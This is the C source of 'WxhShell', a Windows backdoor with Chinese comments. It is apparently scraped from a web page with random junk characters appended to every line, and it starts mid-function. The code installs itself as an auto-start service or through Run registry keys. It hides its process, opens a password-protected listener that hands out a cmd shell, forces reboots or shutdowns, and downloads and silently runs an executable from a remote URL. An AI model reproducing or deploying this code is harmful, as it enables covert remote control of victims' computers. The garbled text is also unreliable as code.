    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i|1*bZ6'  
    if(Boot(SHUTDOWN)) %Z_O\zRqy)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U_*, XLU  
    else { #s~;ss ,  
    closesocket(wsh); QGuqV8 y0  
    ExitThread(0); :1*E5pX0n  
    } Tx PFl7,r  
    break; &RZO\ZT  
    } ) 1AAL0F\B  
  // 获取shell T-a>k.}y  
  case 's': { GfELL `yz  
    CmdShell(wsh); =6dAF"b)  
    closesocket(wsh); NF8<9  
    ExitThread(0); }?,?2U,8:  
    break; Q^f{H.  
  } ^5E9p@d"J  
  // 退出 N4+Cg t(  
  case 'x': { IrL%0&*hS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~6i'V?>  
    CloseIt(wsh); g9" wX?*  
    break; F9o7=5WAb  
    } Xb%Q%"?~  
  // 离开 vWoppt  
  case 'q': { /*y5W-'d^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q[#}Oh6$  
    closesocket(wsh); ?0t^7HMP  
    WSACleanup(); L=#NUNiXr  
    exit(1); rgVRF44X{  
    break; P$U" y/  
        } H\Qk U`b  
  } Qz[^J  
  } /Ot3[B  
@G2# Z  
  // 提示信息 ;-VZVp}Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r"2lcNE  
} X=#us7W}  
  } _ACN  
[o<hQ`&  
  return; v>wN O  
} q|<B9Jk  
 !vf:mMo  
// shell模块句柄 8+[Vo_]  
int CmdShell(SOCKET sock) %N-aLw\  
{ vQ*[tp#qU  
STARTUPINFO si; 0fewMS*  
ZeroMemory(&si,sizeof(si)); FJZ'P;3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i1uoYb?4(I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ni2#20L  
PROCESS_INFORMATION ProcessInfo; :+/8n+@#  
char cmdline[]="cmd"; n!z!fh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V,rc&97  
  return 0; -E?:W`!  
} o^~ZXF}  
5\pS8<RJ;  
// 自身启动模式 Xeq9Vs zg  
int StartFromService(void) U}jGr=tu  
{ CnB[ImMs(A  
typedef struct h}@wPP{  
{ YjDQ`f/  
  DWORD ExitStatus; SQ,-45@W  
  DWORD PebBaseAddress; -kk7y  
  DWORD AffinityMask; G~1;_'  
  DWORD BasePriority; !-OZ/^l|O`  
  ULONG UniqueProcessId; !=:>yWQ  
  ULONG InheritedFromUniqueProcessId; \B4H0f  
}   PROCESS_BASIC_INFORMATION; id:,\iJ  
XA!a^@<H  
PROCNTQSIP NtQueryInformationProcess; 3l?|+sU >O  
AT1cN1:4?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R/v|ZvI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o08g]a  
D@La-K*5  
  HANDLE             hProcess; N] sbI)Z@  
  PROCESS_BASIC_INFORMATION pbi; A8&@Vxdz  
;=,-C ;`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `6VnL)  
  if(NULL == hInst ) return 0; O z0-cM8t  
3tf_\E+mIi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^!S4?<v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,pD sU@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `'s_5Ek  
DYf2V6'  
  if (!NtQueryInformationProcess) return 0; !tTv$L>  
 ~frsgHW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &'/"=lK  
  if(!hProcess) return 0; } 9\_s*  
mvjx &+q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5&s6(?,Eu  
 9Do75S{(  
  CloseHandle(hProcess); $^fF}y6N  
0;TiNrzg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x4v:67_^  
if(hProcess==NULL) return 0; &)k=ccm  
Hy3J2p9.  
HMODULE hMod; 4N,[Gs<7  
char procName[255]; 3q/Us0jr  
unsigned long cbNeeded; >`03EsU  
P{)D_Bi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g*b`o87PI  
!d()'N  
  CloseHandle(hProcess); r:V bjmL  
L!xFhVA<  
if(strstr(procName,"services")) return 1; // 以服务启动 Q(f0S  
Dh`&B   
  return 0; // 注册表启动 H"/ J R  
} aaU4Jl?L  
N%f"W&ci  
// 主模块 ;t+p2i  
int StartWxhshell(LPSTR lpCmdLine) *}C%z(  
{ @2"3RmYLo  
  SOCKET wsl; 5Yv*f:  
BOOL val=TRUE; YWn""8p;P  
  int port=0; 68?&`/t  
  struct sockaddr_in door; R_G2C@y*  
1K3XNHF  
  if(wscfg.ws_autoins) Install(); /)TeG]Xg  
b<y*:(:  
port=atoi(lpCmdLine); y?UJ <QAi  
TI3xt-/  
if(port<=0) port=wscfg.ws_port; o`n8Fk}i  
P-ZvW<M  
  WSADATA data; XcoX8R%U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9!=4}:+  
p|->z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6kp)'wz`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A~Sc ] M  
  door.sin_family = AF_INET; +>C26Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y[L,rc/j  
  door.sin_port = htons(port); |5(un#  
o+hp#e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !X7z y9  
closesocket(wsl); =k<b* 8  
return 1; O;4S<N  
} R^`}DlHX  
#"6l+}  
  if(listen(wsl,2) == INVALID_SOCKET) { :i>LESJq  
closesocket(wsl); Ru`afjc  
return 1; 5*2hTM!  
} ?:/J8s [O  
  Wxhshell(wsl); ]uFJ~ :R  
  WSACleanup(); Gs"lmX-{$j  
|rJN  
return 0; o% +w:u.  
gtH^'vFZ  
} 9K}DmS  
'E#L6,&  
// 以NT服务方式启动 H 2I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !KXcg9e  
{ kq=Htbv7  
DWORD   status = 0; t'Yd+FK   
  DWORD   specificError = 0xfffffff; mH;t)dT  
N_:!uR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lfx a^0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I`B ZZ-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W= NX$=il  
  serviceStatus.dwWin32ExitCode     = 0; EUt2 S_2P  
  serviceStatus.dwServiceSpecificExitCode = 0; =55)|$hgD  
  serviceStatus.dwCheckPoint       = 0; ])y)]H#{  
  serviceStatus.dwWaitHint       = 0; ^) s6`:  
vrmMEWPV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @;9KP6d  
  if (hServiceStatusHandle==0) return; NUiv"tAY  
r^.9 |YM5  
status = GetLastError(); 8ZV!ld  
  if (status!=NO_ERROR) K @&c  
{ VB/75xK_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~uY5~Qs9G  
    serviceStatus.dwCheckPoint       = 0; U !+O+(  
    serviceStatus.dwWaitHint       = 0; hFoeVM[h  
    serviceStatus.dwWin32ExitCode     = status; 0o7o;eN  
    serviceStatus.dwServiceSpecificExitCode = specificError; -U> )B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,hNs{-*  
    return; Z-t qSw8n  
  } c)Q-yPMl)  
kxe{HxM$Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =^M Q 4  
  serviceStatus.dwCheckPoint       = 0; b/.EA' /  
  serviceStatus.dwWaitHint       = 0; =Cf@!wZ^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d^?e*USh  
} |o eg'T  
UBv#z&@[  
// 处理NT服务事件,比如:启动、停止 m6 M/G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g#{7qmM  
{ umPN=0u6  
switch(fdwControl) nUq@`G  
{ 68~]_r.a  
case SERVICE_CONTROL_STOP: D {E,XOi  
  serviceStatus.dwWin32ExitCode = 0; 0RdW.rZJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hT =E~|O  
  serviceStatus.dwCheckPoint   = 0; uuHs)  
  serviceStatus.dwWaitHint     = 0; *W |  
  { Q.4+"JoG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7zQGuGo(  
  } l66 QgPA  
  return; 4t*VI<=<[  
case SERVICE_CONTROL_PAUSE: w'i+WEU>l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BThrv$D}  
  break; #m7evb5eg*  
case SERVICE_CONTROL_CONTINUE: MYJDfI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KxmB$x5-=8  
  break; l;z+E_sQ  
case SERVICE_CONTROL_INTERROGATE: )@ B !  
  break;  CU\r I  
}; !x-9A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @(/$;I,  
} Ei,dO;&  
N}z]OvnZH  
// 标准应用程序主函数 N^`S'FVA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e'|P^G>g  
{ 0^P9)<k'  
A@.ruG$  
// 获取操作系统版本 ?)qm=mebY  
OsIsNt=GetOsVer(); 0a?[@ -Sz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IH=%%AS  
Ka{QjW!%d<  
  // 从命令行安装 suX^"Io%!  
  if(strpbrk(lpCmdLine,"iI")) Install(); [mUC7Kpi  
q 3,p=ijJ  
  // 下载执行文件 7'.6/U  
if(wscfg.ws_downexe) { #)DDQ?D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A9HgABhax  
  WinExec(wscfg.ws_filenam,SW_HIDE); q|B.@Ng.  
} ?6[u\V  
e oFM  
if(!OsIsNt) { !M6Km(>  
// 如果时win9x,隐藏进程并且设置为注册表启动 yaC_r-%U&  
HideProc(); -> 'q  
StartWxhshell(lpCmdLine); j}%C;;MPH  
} c@O7,y:`I  
else ac43d`wpK  
  if(StartFromService()) yW(A0  
  // 以服务方式启动 XC[AJ!q`  
  StartServiceCtrlDispatcher(DispatchTable); BYI13jMH+Y  
else _A$V~Hp9q  
  // 普通方式启动 {y!77>Q/  
  StartWxhshell(lpCmdLine); rj eKG-Z@  
nzi)4"3O  
return 0; :=`N2D  
} q>a/',m  
hG/Z65`&  
|msQ  
h_t<Jl  
=========================================== o[G,~f\-  
P-N+  
IrP6Rxh  
44hz,  
Z+;670Z  
V,3$>4x  
" w`Z@|A  
HX:^:pF}  
#include <stdio.h> X% M*d%n b  
#include <string.h> `yb,z   
#include <windows.h> =Rf!i78c5  
#include <winsock2.h> %X\rP,  
#include <winsvc.h> ")qO#b4  
#include <urlmon.h> 75H5{#)  
03y5$kQ  
#pragma comment (lib, "Ws2_32.lib") L_YY,  
#pragma comment (lib, "urlmon.lib") 'q*/P&x5  
Dmk~t="Y  
#define MAX_USER   100 // 最大客户端连接数 CY8=prC  
#define BUF_SOCK   200 // sock buffer HuL9' M  
#define KEY_BUFF   255 // 输入 buffer L5>.ku=T  
9y"\]G77E  
#define REBOOT     0   // 重启 ,OO0*%  
#define SHUTDOWN   1   // 关机 kasx4m]^  
z9*7fT  
#define DEF_PORT   5000 // 监听端口 JMYM}G  
cM+s)4TPL  
#define REG_LEN     16   // 注册表键长度 cW, 6 MAQo  
#define SVC_LEN     80   // NT服务名长度 Ll6|WhX  
kF *^" Cn  
// 从dll定义API Y'i_EX|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @7B!(Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .zyi'Kj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y>m=A41:g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XS"lR |  
yu62$ d  
// wxhshell配置信息 c_bIadE{  
struct WSCFG { 0~N2MoOl^  
  int ws_port;         // 监听端口 !xh.S#B  
  char ws_passstr[REG_LEN]; // 口令 V,Br|r$l(  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4qEeN-6h  
  char ws_regname[REG_LEN]; // 注册表键名 GCPSe A~cx  
  char ws_svcname[REG_LEN]; // 服务名 [VwoZX:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (%EhkTb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IE9A _u*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i(XqoR-x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7L&=z$U@m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G8oOFBQD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l< RztzUw  
i50^%,  
}; 8MPXrc,9-  
as6YjE.Yy  
// default Wxhshell configuration +3D3[.n  
struct WSCFG wscfg={DEF_PORT, s4c2  
    "xuhuanlingzhe", 7w{>bYP  
    1, PYz^9Ud 6g  
    "Wxhshell", ra k@oW]  
    "Wxhshell", kC)ye"r  
            "WxhShell Service", VDq?,4Kb  
    "Wrsky Windows CmdShell Service", 7*r7Q'  
    "Please Input Your Password: ", vL7 JzSU_  
  1, LHz-/0 [  
  "http://www.wrsky.com/wxhshell.exe", HGpj(U:`c  
  "Wxhshell.exe" "(rG5z3P  
    }; q\g|K3V)  
<ibEo98  
// 消息定义模块 L?e N(L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %<w)#eV?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ']ussFaQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `PR)7}/<  
char *msg_ws_ext="\n\rExit."; ?F9:rUyN  
char *msg_ws_end="\n\rQuit."; r9uuVxBD  
char *msg_ws_boot="\n\rReboot..."; !bG%@{WT  
char *msg_ws_poff="\n\rShutdown..."; />z E$)'M  
char *msg_ws_down="\n\rSave to "; 3Vl?;~ :5  
jn9KQe\3  
char *msg_ws_err="\n\rErr!"; iWZrZ5l  
char *msg_ws_ok="\n\rOK!"; V '4sOn  
Q}M% \v  
char ExeFile[MAX_PATH]; r0)X]l7  
int nUser = 0; \j]i"LpWb  
HANDLE handles[MAX_USER]; }?=$?3W  
int OsIsNt; .* xaI+:  
-&* 4~  
SERVICE_STATUS       serviceStatus; SablF2doa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BVX6  
C-abc+/  
// 函数声明 ;X ]+r$_  
int Install(void); K$dSg1t  
int Uninstall(void); |A#pG^  
int DownloadFile(char *sURL, SOCKET wsh); @e_ bG@  
int Boot(int flag); lXS.,#lp  
void HideProc(void); T8 ,?\7)S9  
int GetOsVer(void); !giL~}j(R  
int Wxhshell(SOCKET wsl); O!(M:.  
void TalkWithClient(void *cs); Ph'P<h:V  
int CmdShell(SOCKET sock); kw>W5tNpf:  
int StartFromService(void); ~4\J }Kn  
int StartWxhshell(LPSTR lpCmdLine); |T}Q ~  
Oozt&* F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,=tPh4>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `)5E_E3  
*1fq:--  
// 数据结构和表定义 ) )q4Rh  
SERVICE_TABLE_ENTRY DispatchTable[] = 8(e uWS  
{ c|%.B2  
{wscfg.ws_svcname, NTServiceMain}, Ap{p_~~iJ  
{NULL, NULL} a'zf8id  
}; /[iqga=  
Quy&CV{@  
// 自我安装 |Fk>NX  
int Install(void) mjDaus59  
{ |?=K'[ 5  
  char svExeFile[MAX_PATH]; lr:rQw9  
  HKEY key; 0Z{f!MOh  
  strcpy(svExeFile,ExeFile); RjY(MSc  
.mzy?!w0q  
// 如果是win9x系统,修改注册表设为自启动 P5Y:c@u2  
if(!OsIsNt) { gwj+~vSfi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >TT4;ph  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G'oMZb ({=  
  RegCloseKey(key); B 3Y,|*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?32gug\i'}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iX]Vkx  
  RegCloseKey(key); A~_*vcz  
  return 0; Nv@SpV'  
    } ]3xb Q1  
  } @7Oqp-  
} 7cTDbc!E-  
else { ;by` [)  
'% .:97  
// 如果是NT以上系统,安装为系统服务 N^\<y7x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,Q8[Ur? G  
if (schSCManager!=0) >YwvM=b"V  
{ n.&z^&$w\)  
  SC_HANDLE schService = CreateService K}e %E&|>  
  ( &eL02:[  
  schSCManager, $9!2c/  
  wscfg.ws_svcname, ^Oy97Y  
  wscfg.ws_svcdisp, 1]Q;fe  
  SERVICE_ALL_ACCESS, N8!V%i?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]W^F!p~eC  
  SERVICE_AUTO_START, N?Byp&rqI<  
  SERVICE_ERROR_NORMAL, o gec6u}  
  svExeFile, 5eP8nn.D  
  NULL, hXBAs*4DV8  
  NULL, i^SuVca  
  NULL, TYv'#{  
  NULL, J?]wA1  
  NULL I!FIV^}Z(  
  ); cZB?_[Cp  
  if (schService!=0) tk'1o\@p9b  
  { rucgav  
  CloseServiceHandle(schService); N8hiv'3  
  CloseServiceHandle(schSCManager); I$. HG]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w$Zi'+&*  
  strcat(svExeFile,wscfg.ws_svcname); vGe];  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c2Q KI~\x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q~esxp  
  RegCloseKey(key); Ass :  
  return 0; 6# [  
    } ]S@zhQ  
  } RLy(Wz3%  
  CloseServiceHandle(schSCManager); V iY-&q'  
} `1}WQS  
} aQjs5RbP~  
CD}::7$  
return 1; 6_Ps*Ed  
} GM_~2Er]  
&8p]yo2zO  
// 自我卸载 E@}N}SR  
int Uninstall(void) hkS0ae  
{ ]Sj<1tx7f  
  HKEY key; M]c"4 b;  
c`S`.WID  
if(!OsIsNt) { in-|",O`Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tu5g> qb  
  RegDeleteValue(key,wscfg.ws_regname); " pg5w  
  RegCloseKey(key); ~e|RVY,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9:DT+^BB  
  RegDeleteValue(key,wscfg.ws_regname); 3K;V3pJ].  
  RegCloseKey(key); Db:^Omw o  
  return 0; 73Zx`00  
  } JWZG)I]r  
} =VC"X?N  
} GkwdBy+  
else { /!7    
b suGZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %y96]e1  
if (schSCManager!=0) e}f#dR+(  
{ 7+!FZo{?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dC'8orFG+  
  if (schService!=0) `O+}$wP  
  { Dq07Z^#'  
  if(DeleteService(schService)!=0) { F,dPmR  
  CloseServiceHandle(schService); h^QLvOuR  
  CloseServiceHandle(schSCManager); {lam],#r  
  return 0; {ef9ov Xk  
  } KgD sqwy  
  CloseServiceHandle(schService); Nxm^jPM 0  
  } xDqJsp=]-  
  CloseServiceHandle(schSCManager); u[:-^H  
} `T'[H/  
} t=l@(%O 0_  
CvOji 1  
return 1; PiwMl)E|!  
} \wjT|z1+Y  
scc+r  
// 从指定url下载文件 84f(BE  
int DownloadFile(char *sURL, SOCKET wsh) d/"%fpp^0G  
{ XE#a#  
  HRESULT hr; plNoI1st  
char seps[]= "/"; 8}M-b6R V  
char *token; MnL o{G]  
char *file; ahh&h1q7|  
char myURL[MAX_PATH]; 3<XP/c";  
char myFILE[MAX_PATH]; wZUZ"Y}9  
$.Ia;YBf  
strcpy(myURL,sURL); eoj(zY3  
  token=strtok(myURL,seps); $~3?nib"j  
  while(token!=NULL) O*SJx.  
  { 'G1~ A +  
    file=token; R$Rub/b6  
  token=strtok(NULL,seps); ;No i H&  
  } + *W%4e  
MZrLLnl6\  
GetCurrentDirectory(MAX_PATH,myFILE); y&n-8L_  
strcat(myFILE, "\\"); */_$' /q V  
strcat(myFILE, file); Lo<WK  
  send(wsh,myFILE,strlen(myFILE),0); ?]%ZJd  
send(wsh,"...",3,0); i,h)V Cc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xe4`D>LUo  
  if(hr==S_OK) 9^?2{aP%  
return 0; SuR+Vv  
else d53Eu`QW?  
return 1; +@^FUt=tq  
: uxJGx  
} (.J6>"K<  
M!`&Z9N  
// 系统电源模块 7VIfRN{5n  
int Boot(int flag) u<U8LR=)V5  
{ !#Pr'm/,mu  
  HANDLE hToken; {EjzJr>  
  TOKEN_PRIVILEGES tkp; o$p] p9  
+;Pkpuu  
  if(OsIsNt) { xeB-fy)5+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z!+n/ D-1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5_\1f|,  
    tkp.PrivilegeCount = 1; %ONU0xtqk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J4]tT pu"K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !59,<N1Iu  
if(flag==REBOOT) { Q<Q?#v7NX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -5b#w"^w^  
  return 0; 'u#c_m! 9  
} 5oe{i/#di  
else { {zI>"%$u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D!DL6l`  
  return 0; P(b ds  
} 84_Y+_9  
  } (j(hr'f  
  else { -]Ny-[P  
if(flag==REBOOT) { /pC60y}O0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :-Wh'H(  
  return 0; |;(>q  
} gXj3=N(l  
else { j.yh>"de  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 84lT# ^q  
  return 0; &s{d r  
} U6F7dT  
} 3>v-,S+  
y&A&d-  
return 1; {(IHHA>  
} 3V]08  
)b~+\xL5J  
// win9x进程隐藏模块 Doe:m#aNj  
void HideProc(void) ~bq w!rz  
{ +3k.xP?QS  
ro+8d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uO((Mg  
  if ( hKernel != NULL ) O!'gylj/  
  { G|I}x/X"Q7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BZa`:ah~x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pwv mb\  
    FreeLibrary(hKernel); Jz]OWb *  
  } cK,&huk  
t>2EZ{N +y  
return; mT>RQ.  
} ;v!Ef"E|cV  
gDjAnz#  
// 获取操作系统版本 O YfRtfE  
int GetOsVer(void) E&ReQgBft  
{ -nZDFC8y$  
  OSVERSIONINFO winfo; `k7X|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e F(oHn,  
  GetVersionEx(&winfo); [4Q;5 'Dj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R"{P#U,HNO  
  return 1; $T_>WUiK  
  else +Mb}70^  
  return 0; jItVAmC=i  
} ;D<;pW  
VFK]{!C_  
// 客户端句柄模块 Q yhu=_&  
int Wxhshell(SOCKET wsl) T5-Yqz  
{ d/b\:[B@  
  SOCKET wsh; !ZM*)6^  
  struct sockaddr_in client; y~z&8XrH  
  DWORD myID; mMT\"bb'  
ba)hWtenH  
  while(nUser<MAX_USER) tqpSir  
{ I  :8s3;  
  int nSize=sizeof(client); im9Pjb%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NOFH  
  if(wsh==INVALID_SOCKET) return 1; Q]]M;(  
/GF"D5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %Q=rm!Syv  
if(handles[nUser]==0) ]l"9B'XR  
  closesocket(wsh); SB:z[kfz|  
else )K]<\Q[  
  nUser++; od^o9(.W^  
  } %"ehZ d0r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {5 3#Xd  
vcZ"4%w  
  return 0; Y=/;7T  
} 4m%Yck{R  
s6DPb_,  
// 关闭 socket 9fYof  
void CloseIt(SOCKET wsh) +1K= ]#a  
{ !FQS9SoO9  
closesocket(wsh); O' Mma5  
nUser--; @P">4xVX{  
ExitThread(0); M 9 N'Hk=  
} EL6<%~,V"I  
As??_=>4  
// 客户端请求句柄 \SBAk h  
void TalkWithClient(void *cs) vvLzUxV  
{  `ghNS  
\Hu?K\SWs  
  SOCKET wsh=(SOCKET)cs; bV:MOj^  
  char pwd[SVC_LEN]; (e32oP"  
  char cmd[KEY_BUFF]; ^[EXTBk@:  
char chr[1]; u}7r\MnwK,  
int i,j; .PCbGPbk  
miV8jaV  
  while (nUser < MAX_USER) { ! QKec  
L> rW S-  
if(wscfg.ws_passstr) { +D?Re%HI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6?-,@e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `a8&7 J(  
  //ZeroMemory(pwd,KEY_BUFF); 9 1ec^g  
      i=0; y(j vl|z[  
  while(i<SVC_LEN) { i x_a  
jF{)2|5  
  // 设置超时 U8eU[|-8O/  
  fd_set FdRead; &D`$YUl@  
  struct timeval TimeOut; ]_hXg*?  
  FD_ZERO(&FdRead); s5ILl wr  
  FD_SET(wsh,&FdRead); F~3 &@TWi  
  TimeOut.tv_sec=8; 5IP@_GV|  
  TimeOut.tv_usec=0; R+Rb[,m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f|,2u5 ;z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &>Z p}.V  
mFyYn,Mu|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N8Un42  
  pwd=chr[0]; `nL^]i  
  if(chr[0]==0xd || chr[0]==0xa) { }b>e lz  
  pwd=0; V_9> Z?  
  break; RohD.`D  
  } Q[bIkvr|  
  i++; |99Z& <8f  
    } 84gj%tw'-  
Ws[d.El  
  // 如果是非法用户,关闭 socket _m1WY7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nVk]Qe  
} PU%WpI.w  
{'G u@l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J|b:Zo9<f"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >H?~2O  
tmC9p6%  
while(1) { &uJ7[m19z  
S4%MnT6Uy  
  ZeroMemory(cmd,KEY_BUFF); )Ju$PrO  
e0<L^|S  
      // 自动支持客户端 telnet标准   leEzfbb{'.  
  j=0; @"`{Sh`Y$  
  while(j<KEY_BUFF) { NAfu$7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0>0:ls  
  cmd[j]=chr[0]; `pXC= []B2  
  if(chr[0]==0xa || chr[0]==0xd) { BYs^?IfW  
  cmd[j]=0; !B&1{  
  break; G/8G`teAZ  
  } po+ 1  
  j++; |y2cI,&   
    } !n5s/"'H  
wq3V&@.  
  // 下载文件 0'Qo eFKG  
  if(strstr(cmd,"http://")) { 2 Xc,c*r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i{ 2rQy+  
  if(DownloadFile(cmd,wsh)) ++0xa%:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l7GLN1#m  
  else ^i~'aq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (9D,Ukw  
  } fpvzx{2  
  else { [u`9R<>c"U  
FZtILlw  
    switch(cmd[0]) { cH$Sk  
  D\V (r\i  
